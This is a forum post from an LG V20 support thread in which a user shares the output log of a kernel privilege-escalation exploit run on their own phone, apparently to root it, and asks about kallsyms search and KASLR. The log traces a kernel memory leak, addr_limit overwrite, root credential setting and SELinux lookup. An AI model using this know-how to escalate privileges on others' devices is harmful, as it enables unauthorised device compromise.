[LG V20 Questions & Answers] Supersonic27543:
Yes, cat /proc/kallsyms gives a lot of censored out kernel pointers (normal behavior, right?) Grepping it for "avc_denied" gives only "avc_denied.isra.4".

The new code gives a couple more partial failures, but otherwise the same.

MAIN: starting exploit for devices with waitqueue at 0x98
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0xfffffff8b42e8000
CHILD: clobbering with extra leak structures
PARENT: clobbering at 0xfffffffa89aceab0
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: wrote 69688
PARENT: readv returns 69688, expected 69688
PARENT: clobbering test passed
CHILD: clobbered
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
CHILD: task_struct_ptr = 0xfffffffa8d12c000
CHILD: Finished write to FIFO.
PARENT: leaking successful
MAIN: parsing kernel stack to find thread_info
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0xfffffff8b42e8000
CHILD: clobbering with extra leak structures
PARENT: clobbering at 0xfffffff89f33d4b0
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
PARENT: readv returns 69688, expected 69688
PARENT: **fail** clobber value doesn't match: is 0 but should be abcddeadbeef1234
CHILD: **fail** iovec clobbering didn't work
CHILD: extra leak
CHILD: wrote 69688
PARENT: writev() returns 0x17008
PARENT: Reading leaked data
PARENT: Reading extra leaked data
CHILD: Finished write to FIFO.
MAIN: **fail** retrying
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0xfffffff8b42e8000
CHILD: clobbering with extra leak structures
PARENT: clobbering at 0xfffffffa8d11eeb0
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: wrote 69688
PARENT: readv returns 69688, expected 69688
PARENT: clobbering test passed
CHILD: clobbered
CHILD: extra leak
PARENT: writev() returns 0x17008
PARENT: Reading leaked data
PARENT: Reading extra leaked data
CHILD: Finished write to FIFO.
PARENT: leaking successful
MAIN: it took 1 tries, but succeeded
MAIN: task_struct_ptr = fffffff8b42e8000
MAIN: stack = fffffffa8d12c000
MAIN: thread_info_ptr = fffffffa8d12c3e0
MAIN: Clobbering addr_limit
PARENT: clobbering at 0xfffffffa8d12c3e8
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
PARENT: readv returns 69648, expected 69648
PARENT: clobbering test passed
CHILD: wrote 69648
MAIN: thread_info = 0xfffffffa8d12c3e0
MAIN: should have stable kernel R/W now
MAIN: searching for cred offset in task_struct
MAIN: search_base = ffffffc000000000
MAIN: searching for selinux_enforcing
MAIN: searching for kallsyms format strings
MAIN: **partial failure** cannnot fix kallsyms format string
MAIN: searching for kallsyms table
MAIN: **fail** cannot find kallsyms table
MAIN: direct search didn't work, so searching via avc_denied
MAIN: searching for kallsyms format strings
MAIN: **partial failure** cannnot fix kallsyms format string
MAIN: searching for kallsyms table
MAIN: **fail** cannot find kallsyms table
MAIN: setting root credentials with cred offset 720
MAIN: UID = 0
MAIN: enabling capabilities
MAIN: SECCOMP status 0
MAIN: **FAIL** did not find selinux_enforcing symbol
MAIN: re-joining init mount namespace
Killed

BTW what is search_base, is it a start address to start searching for the kallsyms table? Wouldn't it be required to adjust it because KASLR? (I tried lowering it but no effect except taking more time around kernel searching steps)

Thank you very much!